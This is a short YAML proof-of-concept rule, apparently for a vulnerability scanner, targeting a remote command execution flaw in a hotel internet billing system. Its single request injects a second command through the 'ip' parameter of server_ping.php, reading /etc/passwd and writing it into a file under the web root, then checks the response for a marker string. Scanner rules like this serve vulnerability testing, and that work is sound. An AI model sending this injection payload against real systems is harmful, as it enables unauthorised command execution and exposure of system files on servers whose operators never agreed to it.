name: Hotel-Internet-Manage-RCE
rules:
  - method: GET
    path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
    expression: |
      response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
  author: test
  Affected Version: "Hotel Internet Billing & Operation Support System"
  links:
    - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8